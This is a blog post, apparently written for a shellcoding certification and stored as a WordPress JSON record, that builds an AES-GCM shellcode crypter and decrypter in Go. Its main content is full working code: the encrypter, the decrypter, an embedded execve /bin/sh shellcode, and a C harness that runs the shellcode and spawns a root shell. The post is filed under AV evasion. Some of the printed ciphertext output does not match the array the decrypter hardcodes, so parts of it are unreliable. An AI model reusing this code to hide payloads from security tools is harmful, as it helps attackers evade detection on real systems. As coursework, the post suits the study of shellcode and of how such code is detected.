{"id":862,"date":"2020-09-19T18:36:44","date_gmt":"2020-09-19T18:36:44","guid":{"rendered":"http:\/\/mosunit.com\/?p=862"},"modified":"2020-09-19T18:44:02","modified_gmt":"2020-09-19T18:44:02","slug":"building-a-shellcode-crypter-decrypter-in-golang","status":"publish","type":"post","link":"https:\/\/mosunit.com\/?p=862","title":{"rendered":"Building a Shellcode Crypter\/Decrypter in Golang"},"content":{"rendered":"\n<p>In this post, I will create a shellcode crypter\/decryptor in Golang. The encryption algorithm that I will use is AES, which is a symmetric key algorithm i.e. the key used for encryption and decryption will be same.<\/p>\n\n\n\n<p>Let&#8217;s layout what I am trying to achieve:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>The encrypter program will be provided with a secret key and the original shellcode. The program will use AES-128 encryption mechanism to generate the encrypted shellcode.<\/li><li>The decrypter program will be provided with the same secret key as used earlier and the encrypted shellcode. The program will decrypt the shellcode to generate the original shellcode.<\/li><\/ul>\n\n\n\n<p>For encryption and decryption, I will use Golang&#8217;s <em>&#8220;crypto\/aes&#8221;<\/em> package. A key of 16 bytes will be used for AES-128 encryption.<\/p>\n\n\n\n<p>Note that the in-depth analysis of AES encryption is out of scope of this post.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Encrypting Shellcode&#8230;<\/h2>\n\n\n\n<p>The flow of encyption code is as follows:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>The code is harcoded with a 16 byte key &#8211; <em>iamsecret1234567<\/em><\/li><li>The shellcode is also hardcoded. Upon execution, the shellcode spawns <em>&#8220;\/bin\/sh&#8221;<\/em> shell on the local system.<\/li><li>The key is fed in to the encryption program which has the following flow:<ul><li>Create a cipher block using <em>NewCipher<\/em> function<\/li><li>Create new GCM using <em>NewGCM <\/em>function<\/li><li>Create a nonce using <em>NonceSize<\/em> function<\/li><li>Encrypt the data using the <em>aead.Seal<\/em> function<\/li><\/ul><\/li><li>Finally, the code is formatted to be printed on the screen.<\/li><\/ul>\n\n\n\n<p>The Golang code is as follows and is well commented:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/*\nTool:\t\tAES Encryptor in Go\nAuthor:\t\tMohit Suyal (@mosunit)\nStudent ID:\tPA-16521\nBlog:\t\thttps:\/\/mosunit.com\n*\/\n\npackage main\n\nimport (\n\t\"crypto\/aes\"\n\t\"crypto\/cipher\"\n\t\"crypto\/rand\"\n\t\"fmt\"\n\t\"io\"\n)\n\nfunc main() {\n\n\t\/\/ define secret key as slice of byte\n\tsecret := []byte(\"iamsecret1234567\")\n\tfmt.Printf(\"The symmetric key to encrypt the shellcode is \\\"iamsecret1234567\\\"\\n\\n\")\n\n\t\/\/ execve shellcode - spawns shell(\/bin\/sh) on localhost\n\tShellcode := []byte{0x31, 0xc0, 0x50, 0x68, 0x6e, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x2f, 0x62, 0x69, 0x89, 0xe3, 0x50, 0x89, 0xe2, 0x53, 0x89, 0xe1, 0xb0, 0x0b, 0xcd, 0x80}\n\n\t\/\/ Call to encrypt function\n\tencrypted, err := encrypt(Shellcode, secret)\n\tif err != nil {\n\t\tpanic(fmt.Sprintf(\"Unable to encrypt the data: %v\", err))\n\t}\n\n\tfmt.Printf(\"The encrypted shellcode is:\\n\")\n\n\t\/\/ convert slice of byte returned to hex format (\\x..) for printing to console\n\tfor i := range encrypted {\n\t\t\/\/ check the index value to match the last element of the slice\n\t\t\/\/ Check if the hex coversion of slice element will be less than 2 digits; append an additional \"0\", if true\n\t\tif encrypted[i] &lt; 16 {\n\t\t\tfmt.Printf(\"\\\\x0%x\", encrypted[i])\n\t\t} else {\n\t\t\tfmt.Printf(\"\\\\x%x\", encrypted[i])\n\t\t}\n\t}\n\tfmt.Printf(\"\\n\\nTo embedd the output in the Go code, use the following shellcode format:\\n\")\n\t\/\/ convert slice of byte returned to hex format (0x..) for printing to console\n\tfor i := range encrypted {\n\t\t\/\/ check the index value to match the last element of the slice\n\t\t\/\/ this if statement is true for all index values except the last\n\t\tif i != len(encrypted)-1 {\n\t\t\t\/\/ Check if the hex coversion of slice element will be less than 2 digits; append an additional \"0\", if true\n\t\t\tif encrypted[i] &lt; 16 {\n\t\t\t\tfmt.Printf(\"0x0%x,\", encrypted[i])\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"0x%x,\", encrypted[i])\n\t\t\t}\n\t\t} else {\n\t\t\tif encrypted[i] &lt; 16 {\n\t\t\t\tfmt.Printf(\"0x0%x\", encrypted[i])\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"0x%x\", encrypted[i])\n\t\t\t}\n\t\t}\n\t}\n\n}\n\n\/\/ encrypt encrypts plain string with a secret key and returns encrypt string.\nfunc encrypt(plainData []byte, secret []byte) ([]byte, error) {\n\tcipherBlock, err := aes.NewCipher(secret)\n\tif err != nil {\n\t\treturn []byte{1}, err\n\t}\n\n\taead, err := cipher.NewGCM(cipherBlock)\n\tif err != nil {\n\t\treturn []byte{1}, err\n\t}\n\n\tnonce := make([]byte, aead.NonceSize())\n\tif _, err = io.ReadFull(rand.Reader, nonce); err != nil {\n\t\treturn []byte{1}, err\n\t}\n\n\t\/\/ return the encrypted shellcode\n\treturn aead.Seal(nonce, nonce, []byte(plainData), nil), nil\n\n}<\/pre>\n\n\n\n<p>Upon running the code, we get the encrypted shellcode. You notice that the encrypted shellcode is output in two formats. The reason is one of the formats can be used to be directly embedded in the decrypter program.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">mosunit@mosunit MINGW64 \/e\/&lt;snipped>\/SLAE\/assignment-\n$ go run custom_encryptor.go\nThe symmetric key to encrypt the shellcode is \"iamsecret1234567\"\n\nThe encrypted shellcode is:\n\\x16\\xbf\\x7f\\xa4\\xda\\x94\\x41\\x5b\\x27\\x47\\x53\\xbb\\x9b\\xb1\\x32\\x82\\x60\\x1d\\x61\\xcf\\x5b\\x05\\x7e\\x25\\x1e\\xbc\\xec\\x18\\xfa\\xe8bd\n\nTo embedd the output in the Go code, use the following shellcode format:\n0x16,0xbf,0x7f,0xa4,0xda,0x94,0x41,0x5b,0x27,0x47,0x53,0xbb,0x9b,0xb1,0x32,0x82,0x60,0x1d,0x61,0xcf,0x5b,0x05,0x7e,0x25,0xb4,0xc0,0x4f,0xd0,0xa4,0x32,0x4f,0x30,0xb1,0x1f,0xbd\n<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Decrypting Shellcode&#8230;<\/h2>\n\n\n\n<p>Now that we have the encrypted shellcode, we need a way to decrypt the shellcode. The same is achieved using the Go code. The flow of decrypter code is as follows:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>The key used is same as that in the encrypter program &#8211; <em>iamsecret1234567<\/em><\/li><li>The output shellcode from the encrypter program is hardcoded in this code<\/li><li>The key is fed into the decryption program and the flow is as follows:<ul><li>Create a new cipher block using the key<\/li><li>Create a new GCM<\/li><li>Get the nonce size from the created GCM<\/li><li>Get the nonce from the prefix of encrypted data<\/li><li>Decrypt the data using <em>aead.Open<\/em> function<\/li><\/ul><\/li><li>Finally, the code is formatted to be printed on the screen<\/li><\/ul>\n\n\n\n<p>The decryter code is also well commented and is as follows:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/*\nTool:\t\tAES Decrypter in Go\nAuthor:\t\tMohit Suyal (@mosunit)\nStudent ID:\tPA-16521\nBlog:\t\thttps:\/\/mosunit.com\n*\/\n\npackage main\n\nimport (\n\t\"crypto\/aes\"\n\t\"crypto\/cipher\"\n\t\"encoding\/base64\"\n\t\"fmt\"\n)\n\nfunc main() {\n\n\t\/\/ define secret key as slice of byte\n\t\/\/ secret is same as used in encrypter shellcode\n\tsecret := []byte(\"iamsecret1234567\")\n\tfmt.Printf(\"The symmetric key to decrypt the shellcode is: iamsecret1234567\\n\\n\")\n\n\t\/\/ encrypted shellcode - output of aes_shellcode_encrypter.go\n\te := []byte{0x16, 0xbf, 0x7f, 0xa4, 0xda, 0x94, 0x41, 0x5b, 0x27, 0x47, 0x53, 0xbb, 0x9b, 0xb1, 0x32, 0x82, 0x60, 0x1d, 0x61, 0xcf, 0x5b, 0x05, 0x7e, 0x25, 0x1e, 0xbc, 0xec, 0x18, 0xfa, 0xe8, 0x18, 0x3e, 0xc9, 0x3e, 0xf8, 0x03, 0x2d, 0x30, 0xe0, 0xfa, 0x29, 0xb8, 0xb4, 0xc0, 0x4f, 0xd0, 0xa4, 0x32, 0x4f, 0x30, 0xb1, 0x1f, 0xbd}\n\n\t\/\/ encrypted shellcode converted to string - to be fed in decrypt function\n\tencrypted := fmt.Sprintf((base64.URLEncoding.EncodeToString(e)))\n\n\tdecrypted, err := decrypt(encrypted, secret)\n\tif err != nil {\n\t\tpanic(fmt.Sprintf(\"unable to decrypt the data: %v\", err))\n\t}\n\n\tfmt.Println(\"The decrypted shellcode is:\")\n\tfor i := range decrypted {\n\t\t\/\/ check the index value to match the last element of the slice\n\t\t\/\/ this if statement is true for all index values except the last\n\t\tif i != len(decrypted)-1 {\n\t\t\t\/\/ Check if the hex coversion of slice element will be less than 2 digits; append an additional \"0\", if true\n\t\t\tif decrypted[i] &lt; 16 {\n\t\t\t\tfmt.Printf(\"\\\\x0%x\", decrypted[i])\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"\\\\x%x\", decrypted[i])\n\t\t\t}\n\t\t} else {\n\t\t\tif decrypted[i] &lt; 16 {\n\t\t\t\tfmt.Printf(\"\\\\x0%x\", decrypted[i])\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"\\\\x%x\", decrypted[i])\n\t\t\t}\n\t\t}\n\t}\n\n}\n\nfunc decrypt(encodedData string, secret []byte) ([]byte, error) {\n\tencryptData, err := base64.URLEncoding.DecodeString(encodedData)\n\tif err != nil {\n\t\treturn []byte{1}, err\n\t}\n\n\tcipherBlock, err := aes.NewCipher(secret)\n\tif err != nil {\n\t\treturn []byte{1}, err\n\t}\n\n\taead, err := cipher.NewGCM(cipherBlock)\n\tif err != nil {\n\t\treturn []byte{1}, err\n\t}\n\n\tnonceSize := aead.NonceSize()\n\tif len(encryptData) &lt; nonceSize {\n\t\treturn []byte{1}, err\n\t}\n\n\tnonce, cipherText := encryptData[:nonceSize], encryptData[nonceSize:]\n\tplainData, err := aead.Open(nil, nonce, cipherText, nil)\n\tif err != nil {\n\t\treturn []byte{1}, err\n\t}\n\n\treturn plainData, nil\n}\n<\/pre>\n\n\n\n<p>Note that the decrytper shellcode has been harcoded with the 1) the key, which is same as the encrypter shellcode 2) the shellcode, which is the encrypted shellcode from encrypter code.<\/p>\n\n\n\n<p>Upon running the decrypter code, the code is decrypted successfully and we get the original shellcode:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">mosunit@mosunit MINGW64 \/e\/O&lt;snipped>\/SLAE\/assignment-7\/decryptor\n$ go run custom_decryptor.go\nThe symmetric key to decrypt the shellcode is: iamsecret1234567\n\nShellcode has been decrypted successfully. The decrypted shellcode is:\n\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\n<\/pre>\n\n\n\n<p>To check the authenticity of the decrypter code, I input a different key from the encrypter shellcode and the shellcode decryption failed.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ go run custom_decryptor.go\nThe symmetric key to decrypt the shellcode is: iamsecret1234567\n\npanic: unable to decrypt the data: cipher: message authentication failed<\/pre>\n\n\n\n<p>Let&#8217;s check if the decrypted shellcode works. Following is the skeleton C code to check the shellcode. It has been embedded with the decrypted shellcode.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#include &lt;stdio.h>\n#include &lt;string.h>\n\nunsigned char code[] = \\\n\"\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\";\n\nmain()\n\n{\n        printf(\"Shellcode length: %d\\n\", strlen(code));\n        int (*ret)() = (int(*)())code;\n        ret();\n}\n<\/pre>\n\n\n\n<p>Upon compiling and executing the shellcode, <em>\/bin\/sh<\/em> shell is spawned.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">root@kali:~\/temp# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode\nshellcode.c:7:1: warning: return type defaults to \u2018int\u2019 [-Wimplicit-int]\n    7 | main()\n      | ^~~~\nroot@kali:~\/temp# .\/shellcode\nShellcode length: 25\n# id\nuid=0(root) gid=0(root) groups=0(root)\n# ps\n  PID TTY          TIME CMD\n25888 pts\/0    00:00:00 bash\n27714 pts\/0    00:00:00 sh\n27716 pts\/0    00:00:00 ps<\/pre>\n\n\n\n<p>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: <a href=\"https:\/\/www.pentesteracademy.com\/course?id=3\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.pentesteracademy.com\/course?id=3<\/a><\/p>\n\n\n\n<p>Student ID: PA-16521<\/p>\n\n\n\n<p>The code is also stored at <a href=\"https:\/\/github.com\/mosunit\/SLAE32\/tree\/master\/Assignment-7\" target=\"_blank\" rel=\"noreferrer noopener\">GitHub<\/a>. Thanks for reading !<\/p>\n","protected":false},"excerpt":{"rendered":"<p>In this post, I will create a shellcode crypter\/decryptor in Golang. The encryption algorithm that I will use is AES, which is a symmetric key&hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[20,4,21,25],"tags":[],"class_list":["post-862","post","type-post","status-publish","format-standard","hentry","category-assembly","category-av-evasion","category-shellcoding","category-slae"],"_links":{"self":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts\/862","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=862"}],"version-history":[{"count":14,"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts\/862\/revisions"}],"predecessor-version":[{"id":876,"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts\/862\/revisions\/876"}],"wp:attachment":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=862"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=862"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=862"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}